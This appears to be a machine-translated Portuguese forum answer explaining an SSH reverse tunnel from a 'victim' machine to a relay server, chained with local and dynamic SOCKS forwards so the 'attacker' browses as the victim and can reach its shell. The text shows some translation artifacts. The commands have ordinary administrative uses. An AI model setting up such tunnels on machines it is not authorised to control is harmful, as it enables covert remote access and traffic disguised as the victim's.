Aparentemente, ninguém pode responder a esta pergunta, tudo bem, porque eu mesmo encontrei a resposta.
Aqui estão as respostas:
- Em vítima :
ssh -N -f -R 5555:localhost:22 -p <port_of_serv> <ip_of_serv>
- Em atacante # 1:
ssh (-N -f) -L 4444:localhost:5555 -p <port_of_serv> <ip_of_serv>
- Em atacante # 2:
ssh -p 4444 -D localhost:3333 user_on_victim@localhost
- Em atacante # 3: no Firefox ou no irc, ou mesmo para as configurações gerais de rede: Configurações de proxy do Socks (v5): 127.0.0.1 porta 3333
Cada aplicativo em que você definir o host local host com a porta 3333 será encaminhado via serv para a vítima e quando você visitar algo como link you ' Vou ver o ip / host da vítima. Daqui em diante, você pode até usar aplicativos GUI no atacante (se você configurar configurações de meias para o aplicativo específico ou para o sistema como um todo), que serão tunelados via serv para vítima e você agirá como a vítima como tal.
O erro que cometi no meu processo de pensamento foi que eu realmente não entendi como o esquema de portas invertidas se parece, tentarei explicá-lo em termos simples.
Ação da vítima
ssh -N -f -R 5555:localhost:22 -p <port_of_serv> <ip_of_serv>
-
-N
= Eu não vou executar comandos no shell -
-f
= coloca o processo em segundo plano (assim você pode fechar a janela do terminal) -
-R
= túnel invertido -
5555:localhost:22
= 5555 é a porta na qual o serviço está internamente escutando os dados para a porta 22 na vítima . Se você configurou a vítima para executar o ssh na porta 2222, você deve alterar de 22 para 2222. -
-p
= porta na qual o ssh em serv está em execução.
1ª ação de ataque
ssh (-N -f) -L 4444:localhost:5555 -p <port_of_serv> <ip_of_serv>'
O primeiro comando que você faz no atacante ( -L 4444:localhost:5555
) irá configurar um túnel para que sua conexão com o seu terceiro comando seja expandida para vítima . (Isso é apenas para aplicativos de encaminhamento de porta dinâmica / Socks)
Se você quer apenas ter acesso ao shell em vítima em vez desse comando, basta usar ssh em para servir & que executar o comando: 'ssh user_on_victim @ localhost -p 5555'.
Mas não queremos acesso ao shell, queremos encapsular todos os dados dinamicamente, por isso, temos que fazer um encaminhamento de porta.
Ou a explicação esquemática
-
-L
= encaminhamento de porta local (em serv ) -
- 4444:localhost:5555
coloca todos os dados na porta 4444 para a porta 5555.
2ª ação de ataque
O segundo comando que você faz em atacante
ssh -p 4444 -D localhost: 3333 user_on_victim @ localhost
é o comando real que vai inicializar a conexão através dos dois túneis. O que você faz é dizer: conecte à porta 4444 e coloque todos os dados que estão chegando (porta 3333 localhost) para 4444. (que será colocado localmente em serv para a porta 5555 - > que será enviado para o porto 22 em vítima .
Ou a explicação esquemática
-
-D
= Reencaminhamento dinâmico -
localhost:3333
= escute na porta 3333 e envie os dados por meio da conexão ssh para a porta 4444 para o serv. -
-p 4444
= a porta em que serv está escutando para colocar os dados para a porta 5555 e depois para a porta 22 em vítima .
3ª ação de ataque
Configure seus aplicativos ou até mesmo o sistema inteiro para usar o servidor proxy SOCKS (v5) no endereço: porta do host local: 3333. Não importa em quais portas esses aplicativos são executados normalmente porque isso será tratado pelo servidor proxy. Em teoria, cada aplicativo pode ser executado via encaminhamento de porta dinâmica de proxy socks. Você só precisa configurá-lo. :)
A terceira ação em atacante são os dados reais que você vai enviar para vítima . Não importa qual seja o dado ou aplicativo, é por isso que é o encaminhamento dinâmico, não importa em quais portas esses aplicativos são executados porque isso será tratado pelo SOCKS.
Espero que alguém encontre uso na minha explicação.
Tenha um bom dia ....